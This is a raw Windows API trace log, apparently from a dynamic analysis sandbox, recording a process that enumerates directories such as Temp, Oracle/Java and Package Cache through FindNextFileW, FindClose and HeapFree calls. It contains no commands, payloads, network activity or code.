	[0183.670] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Temp", cAlternateFileName="")) returned 1
	[0183.671] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.671] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Temp", cAlternateFileName="")) returned 0
	[0183.671] FindClose (in: hFindFile=0x4140d58 | out: hFindFile=0x4140d58) returned 1
	[0183.671] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.671] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1
	[0183.671] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.671] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1
	[0183.671] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.671] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSScan", cAlternateFileName="")) returned 1
	[0183.671] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.672] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSScan", cAlternateFileName="")) returned 0
	[0183.672] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0183.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.672] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security Health", cAlternateFileName="WINDOW~4")) returned 1
	[0183.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.672] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1
	[0183.672] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.672] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Server", cAlternateFileName="")) returned 0
	[0183.672] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0183.673] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.673] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1
	[0183.673] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.673] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0183.674] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.674] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Profiles", cAlternateFileName="")) returned 0
	[0183.674] FindClose (in: hFindFile=0x4140e58 | out: hFindFile=0x4140e58) returned 1
	[0183.674] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.674] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0
	[0183.674] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0183.674] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0183.674] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1
	[0183.675] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.675] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0
	[0183.675] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0183.675] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0183.675] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Oracle", cAlternateFileName="")) returned 1
	[0183.679] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.679] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="javapath", cAlternateFileName="")) returned 1
	[0183.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.680] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1
	[0183.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.680] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 0
	[0183.680] FindClose (in: hFindFile=0x41405d8 | out: hFindFile=0x41405d8) returned 1
	[0183.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.680] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0
	[0183.680] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0183.680] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0183.681] FindNextFileW (in: hFindFile=0x4140118, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xffffbb88, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1
	[0183.684] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.684] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0183.685] FindClose (in: hFindFile=0x4140d58 | out: hFindFile=0x4140d58) returned 1
	[0183.685] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.685] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0
	[0183.685] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0183.685] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.686] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1
	[0183.687] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.687] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1
	[0183.693] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.693] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0183.693] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0183.693] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.693] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0
	[0183.693] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0183.693] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.694] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1
	[0183.695] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.695] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1
	[0183.699] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.699] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0183.699] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0183.699] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.699] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0
	[0183.699] FindClose (in: hFindFile=0x4140698 | out: hFindFile=0x4140698) returned 1
	[0183.699] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.700] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1
	[0183.816] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.816] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0183.816] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0183.816] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0183.816] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0
	[0183.816] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0183.816] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x60bac0 | out: hHeap=0x5a0000) returned 1
	[0183.817] FindNextFileW (in: hFindFile=0x41405d8, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1
	[0183.818] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0183.818] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0183.818] FindClose (in: hFindFile=0x4140558 | out: hFindFile=0x4140558) returned 1
	[0183.818] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
